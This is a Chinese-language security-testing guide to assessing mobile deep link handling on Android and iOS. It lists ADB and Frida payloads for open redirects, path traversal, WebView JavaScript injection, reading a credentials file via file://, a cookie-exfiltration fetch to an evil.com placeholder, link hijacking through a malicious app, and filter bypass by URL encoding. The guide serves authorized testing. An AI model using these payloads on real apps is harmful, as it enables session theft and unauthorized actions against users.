用途
该技能用于评估移动应用深度链接(Deep Link)处理的安全性,覆盖 Android 与 iOS 平台。适用场景包括:评估移动应用深度链接处理中的注入与重定向漏洞;测试 Android intent filter 与 iOS URL scheme 处理器是否存在未授权访问;评估 Android App Links 与 iOS Universal Links 的验证机制;测试通过竞争应用注册实现的链接劫持。
注意:必须在获得授权的情况下使用,深度链接利用可能在目标应用中触发非预期操作。
前置条件
- 具备 ADB 的 Android 设备,或具备 Objection/Frida 的 iOS 设备
- 使用 apktool 或 JADX 反编译 APK,以便分析 AndroidManifest.xml
- 了解目标应用已注册的 URL scheme 与 intent filter
- Drozer(用于 Android intent 测试)
- Burp Suite(用于拦截深度链接触发的 API 调用)
工作流程
步骤 1:枚举深度链接入口点
Android 从 AndroidManifest.xml 提取:
# Decompile APK
apktool d target.apk -o decompiled/
# Search for intent filters with deep link schemes
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml
# Look for:
# <data android:scheme="myapp" android:host="action" />
# <data android:scheme="https" android:host="target.com" />
iOS 从 Info.plist 提取:
# Extract URL schemes
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"
# Extract Universal Links (Associated Domains)
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
# Check: applinks:target.com
# Verify apple-app-site-association file
curl https://target.com/.well-known/apple-app-site-association
步骤 2:测试深度链接注入
Android 通过 ADB:
# Basic deep link invocation
adb shell am start -a android.intent.action.VIEW \
-d "myapp://dashboard?user_id=1337" com.target.app
# Test with injection payloads
adb shell am start -a android.intent.action.VIEW \
-d "myapp://profile?redirect=https://evil.com" com.target.app
# Test path traversal
adb shell am start -a android.intent.action.VIEW \
-d "myapp://navigate?path=../../../admin" com.target.app
# Test JavaScript injection (if loaded in WebView)
adb shell am start -a android.intent.action.VIEW \
-d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app
# Test with extra intent parameters
adb shell am start -a android.intent.action.VIEW \
-d "myapp://transfer?amount=1000&to=attacker" \
--es extra_param "injected_value" com.target.app
iOS 通过 Safari 或命令行:
# Trigger URL scheme from Safari
# Navigate to: myapp://dashboard?user_id=1337
# Using Frida to invoke
frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
.openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'
步骤 3:测试链接劫持
Android:
# Create a malicious app that registers the same URL scheme
# AndroidManifest.xml of attacker app:
# <intent-filter>
# <action android:name="android.intent.action.VIEW" />
# <category android:name="android.intent.category.DEFAULT" />
# <category android:name="android.intent.category.BROWSABLE" />
# <data android:scheme="myapp" />
# </intent-filter>
# When both apps are installed, Android shows a chooser dialog
# On older Android versions, the first-installed app may handle the link
# Check App Links verification (prevents hijacking)
adb shell pm get-app-links com.target.app
# Status: verified = secure
# Status: undefined = vulnerable to hijacking
步骤 4:测试 WebView 深度链接加载
# If deep links load URLs in WebView, test for:
# 1. Open redirect
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app
# 2. File access
adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"
# 3. JavaScript execution in WebView
adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"
步骤 5:评估参数校验
针对每个深度链接参数测试:
- 查询本地数据库的参数中的 SQL 注入
- 文件路径参数中的路径遍历
- 触发服务器请求的 URL 参数中的 SSRF
- 通过 user_id 或 session 参数实现的认证绕过
关键概念
- 自定义 URL Scheme:应用注册的协议(myapp://),被调用时路由到特定应用处理器
- App Links(Android):经过验证的 HTTPS 深度链接,绕过选择器对话框并直接在已验证的应用中打开
- Universal Links(iOS):Apple 的已验证深度链接,使用 Web 域上的 apple-app-site-association JSON 文件
- Intent 劫持:恶意应用通过注册相同的 URL scheme 或 intent filter 拦截深度链接
- WebView Bridge:暴露给 WebView 内容的 JavaScript 接口,可能通过深度链接加载的 URL 访问
工具与系统
- ADB:Android 命令行工具,通过 am start 调用深度链接
- Drozer:Android 安全框架,用于测试基于 intent 的攻击面
- apktool:APK 反编译器,用于提取 AndroidManifest.xml 与 intent filter 定义
- Frida:动态插桩,用于在运行时 hook URL scheme 处理器
- Burp Suite:代理,用于拦截深度链接导航触发的 API 调用
常见陷阱
- App Links 验证:具有已验证域关联的 Android App Links 可抵抗劫持。检查 https://domain/.well-known/assetlinks.json。
- Fragment 处理:部分应用对 URL fragment(#)与查询参数(?)的处理方式不同。两者都要测试。
- 编码绕过:对 payload 进行 URL 编码,以绕过深度链接处理器中的客户端输入过滤。
- 多步深度链接:部分深度链接需要认证状态。在登录后与登录前分别测试,以评估授权执行情况。